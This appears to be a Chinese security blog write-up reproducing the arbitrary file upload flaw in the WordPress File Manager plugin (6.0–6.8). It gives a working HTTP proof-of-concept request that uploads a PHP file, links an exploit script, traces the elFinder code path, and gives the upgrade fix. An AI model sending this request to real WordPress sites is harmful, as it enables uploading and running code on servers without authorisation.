WordPress插件File-Manager任意文件上传复现

56次阅读
没有评论

共计 5988 个字符,预计需要花费 15 分钟才能阅读完成。

上方蓝色字体关注我们,一起学安全!

作者:daxi0ng& 水木逸轩 @Timeline Sec

本文字数:3591

阅读时长:10~12min

声明:请勿用作违法用途,否则后果自负

0x01 简介

WordPress 是使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。

文件管理器允许您直接从 WordPress 后端编辑,删除,上载,下载,压缩,复制和粘贴文件和文件夹。不必费心使用 FTP 来管理文件和从一个位置移动文件。有史以来功能最强大,最灵活,最简单的 WordPress 文件管理解决方案!

0x02 漏洞概述

安全人员进行调查时,很快发现 WordPress 插件 WPFileManager 中存在一个严重的 0day 安全漏洞,攻击者可以在安装了此插件的任何 WordPress 网站上任意上传文件并远程执行代码。

攻击者可能会做任何他们选择采取的行动–窃取私人数据,破坏站点或使用该网站对其他站点或基础结构进行进一步的攻击。

0x03 影响版本

File Manager 6.0-6.8

0x04 环境搭建

WordPress5.4.1 下载地址

https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz

wp-file-manager6.0 下载地址:

 公众号内回复 wordpress 插件 

用 phpstudy 搭建 WordPress,安装插件

0x05 漏洞复现

POC:

POST /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:

Content-Type: multipart/form-data; boundary=—————————402078532114344024151352374707

Content-Length: 465

Origin: http://127.0.0.1

Connection: close

Cookie: PHPSESSID=184sec57d1sltqv23haagn3574;

—————————–402078532114344024151352374707

Content-Disposition: form-data; name=”upload[0]”; filename=”1.php”

Content-Type: image/jpeg

123213123

—————————–402078532114344024151352374707

Content-Disposition: form-data; name=”cmd”

upload

—————————–402078532114344024151352374707

Content-Disposition: form-data; name=”target”

l1_Lw==

—————————–402078532114344024151352374707–

访问

/wordpress/wp-content/plugins/wp-file-manager/lib/files/1.php

EXP 脚本:

https://github.com/xDro1d/wp-file-manager

0x06 漏洞分析

修改数据包中 target 的值,发送 POC 出现错误,返回以下情况:

对比这三个 POC,唯一的不同之处在于一个 target 之后是 l1_Lw==,一个之后是 11_Lw==,还有一个之后是 t1_Lw== 那么问题究竟出在了哪里?

首先数据包最早由 connector.minimal.php 接收,接收到数据包中的各个参数,这里走了一些弯路,但还是应该写出来

之后 connector.minimal.php 文件开始执行,首先判断./vendor/autoload.php 是否可读,如果可读包含./autoload.php,执行 autoload.php 文件

看下 autoload.php 文件的代码,首先给 ELFINDER_PHP_ROOT_PATH 赋值为当前文件绝对地址

接着执行 autoload.php 文件最后的 if 判断

判断 php 的版本,如果版本再 5.3 之上,那么执行,补充知识点:

spl_autoload_register 是一个实现自动加载类的函数,自动加载类就是我们在 new 一个 class 的时候,不需要手动去写 require 来导入这个 class.php 文件,程序自动帮我们加载导入进来,而传入 spl_autoload_register 加载类函数的参数为将要 new 的类名

此时返回 connector.minimal.php,elFinder

静态引用类将 elFinder 的 $netDrivers 数组初始化,将’FTP’赋值给’ftp’,接着往下执行

elFinder 未被引入到当前文件,那么开始执行 autoload.php 的 elFinderAutoloader 方法,因为要实例化 elFinder 类,所以传入 elFinderAutoloader 的值为 elFinder

接着走,$map 自不用去看,都是人家写好的

首先 $name,在数组 $map 中是存在的,那么 include_once 这个 name 所对应的类名,这里是 elFinder,然后是 newelFinder,自然是要先执行它的构造函数,给该对象的构造函数传入的参数为 connector.minimal.php 的 $opts 数组

接着看 elFinder 的构造函数

现将默认的编码集设置为 UTF-8,然后定义服务器命令接收的各种常量

此处省略位运算,只需要知道最后 $errLevel 的值为 32266 就行,接着给全局变量加入数组键 elFinderTempFps,elFinderTempFiles,值都为空数组

接着 $_SERVER[‘PATH_INFO’] 为空,直接将这个对象的引用给了 elFinder 类的 $instance 变量

接着 debug 经过 $opt 中的值判断为 false,检测 elFinderSessionInterface 接口是否已经被定义,如果定义,将这个 php 文件包含到文件中

将这个文件包含到文件中之后判断 $opts 的数组中 session 是否存在,然而 $opts 数组中并没有 session 键

执行 else,else 给 $sessionOpts 进行赋值,接着判断 elFinderSession 是否被引入,如果没有将它包含进来,然后初始化一个 elFinderSession 对象,elFinder 对象的 session 引用这个对象

既然 newelFinderSession 那就要执行它的构造方法

看下此时 $opts 参数的值:

接着 $this->session->start() 方法执行

start 方法用于设置自定义错误处理函数,之后进入下一个 if 判断语句

$fixCookieRegist 的值为 false,之后 PHP_VERSION 使用的是 5.4 以上版本

关于 session_status 的解释:

PHP_SESSION_DISABLED 会话是被禁用的

PHP_SESSION_NONE 会话是启用的,但不存在当前会话

PHP_SESSION_ACTIVE 会话是启用的,而且存在当前会话

看这代码的意思就是开启一个新的会话,给定 Session ID 值

if 还没完了,挨个看吧

给 $sessionUseCmds 赋值,判断 $opts[‘sessionUseCmds’] 是否存在,是否是数组,如果满足,将两个数组合并为一个数组。

之后直接跳过判断 HTTP_X_ELFINDER_VOLUMESCNTSTART 的 if 语句,因为不存在。

执行 utime 方法,返回值给了 time 变量,剩下的一大堆也说不了,如果用了就用的时候说,于是重新捋思路,直接从 elFinderConnector 构造方法完毕之后的 run 方法开始(我才知道为什么之前分析的大哥不直接跟进 elFinder 的初始化,因为东西真的太多了)

跟进 run

首先判断是否是 POST 方法传入数据,接着合并数组至 $src

$maxInuptVars = null,而 $src 本身存在,所以直接跳过大段的 if 语句,直接到

给全局变量赋值这里,$_REQUEST 的值变为

接着直接看第一个 if 语句,不会执行,因为 $src 没有 targets 参数

第二个 if 语句判断 json_encode 方法是否可用,在之后看 flFinder->loaded 方法,这里返回 true,又跳出这个 if 语句

$cmd 肯定存在值,$ifPost 为 true,所以不执行该 if 语句中的内容

此处的 $cmd 为 upload

此处判断 elFinder 类中是否有 upload 方法,结果是有的

所以 if 语句又不会执行,看之后的 foreach

首先 commandArgsList 方法跟进

这里着重看下 commands 数组中 upload 元素的内容,由 $list 引用

upload => array(target => true, FILES => true, mimes => false, html => false, upload => false, name => false, upload_path => false, chunk => false, cid => false, node => false, renames => false, hashes => false, suffix => false, mtime => false, overwrite => false, contentSaveId => false)

也是个数组,在之后将 $list 的 reqid 元素设置为 false,然后返回 $list

$list 第一键值肯定不是 FILES,所以跳过第一个 if 语句,而第一个 target 又存在于 $src 数组中

将 target 的值给了 $arg,再移除 $arg 的空白字符和其他预定义字符

之后将 $arg 放入 $args 的数组中,键名为 target,然后第二次 foreach 循环开始

第二个 $list 的元素肯定是 FILES 了,且 FILES=true,于是执行第一个 if 语句

$hasFiles=true

这两个循环之后就没有什么可说的了,将每个 $list 的元素写入到 $args 中,只是值为 false 的变成了‘’

$args 中 debug 元素是存在的,所以 debug 元素的值被设置为 false

然后看 elFinderConnector 的 input_filter 方法

因为这里的 php 版本大于 5.4 所以 $magic_quotes_gpc 的值为 false,$args 肯定是数组,然后使用这个 if 语句之后对每个元素进行字符过滤

再之后对将上传文件的信息给了 $args 数组中的 FILES 元素,接着执行 elFinder 对象的 exec 函数

在 exec 函数中判断完 session 以及是否可以进行上传操作之后开始判断

将 $args 中 target 元素的值给了 $dst,将 $dst 作为参数传递给 volume 函数

此时 volumes 中有两个键,到此处可以发现 POC 中上传文件的 target 元素的值只能以 l1 或者 t1 开头

这里传入的 $hash 为 l1_Lw==,然后搜索开始空字符出现的位置是否为 0,如果是返回相应的 volumes 的元素信息

接着 $result 为 null,$args[sessionCloseEarlier] 被设置为 true,之后的一些判断都能看懂 (有注释的),一直到判断 $result 的类型这里

$result 在 1131 行被设置为 null,所以跟进 $cmd 进入到 upload 方法

调用 volume 方法,返回 $volume,这个方法解释可以参照上面说的 volumes 数组内容

接着 $files,$header 等一系列变量对文件上传的设置进行初始化或者得到上传文件的具体信息,那么从这里看上传文件的参数具体信息

通过 POST 获得 $src,通过 $src 获得 $cmd 的值,通过 $cmd,调用 upload 函数,而 upload 函数又从上传文件的信息中提取 filename 等信息。

接着一路跟进到程序的 3314 行

此时看一眼传入的 $files 信息

可以看到 $files 的 error 为 0,所以第一个 if 直接跳过,接着获取到文件的临时文件名,$paths 获取到文件路径为 $target 的值

接着看 changeDst 被设置为 false,因为第一个 if 循环中的值都存在,所以将 $changeDst 设置为 true,之后进入 foreach 循环

直接跟进到 3433 行代码处,此时的 $_target 已经是 $target 的值

直接跟进 upload 方法(elFinderVolumeDriver 类)

首先是 commandDisabled 判断是否允许上传功能

结果是有的,接着调用 dir 方法,将 $hash(target) 的值传入,再跟进 file 方法

发现 file 函数中有一个 decode 方法,跟进

decode 函数首先判断 $hash 是以 l1_开头,还是以 t1_开头,接着对 l1_之后的部分进行 base64 解码,跟进 uncrypt

返回 $h 的值,跟进 abspathCE 发现返回了一个绝对路径值

之后这个值返回到 stat 方法中

stat 方法最后返回 $ret 的值如下:

这个值最后给了 $file,返回给 file 方法

file 方法又返回给 dir 方法,接着跟进,跟进到 mimetype 获取上传文件的上传类型

之后计算临时文件大小,在根据文件名决定写入的绝对路径

接着跟进 joinPathCE

这里返回将要写入文件的绝对路径,并接着调用 isNameExits,查看文件名是否已存在,如果存在返回详细信息,在之后进行覆盖写入,接着跟进 saveSE 方法

跟进_save 方法

跟进_joinPath 方法

最后使用 copy 方法写入文件内容

至此,分析完成,漏洞简单的方法调用过程如下图所示。

0x07 修复方式

将 File Manager 插件升级到 6.9 版本

 参考链接:

https://www.anquanke.com/post/id/216990

阅读原文看更多复现文章

Timeline Sec 团队

安全路上,与你并肩前行

正文完
 
评论(没有评论)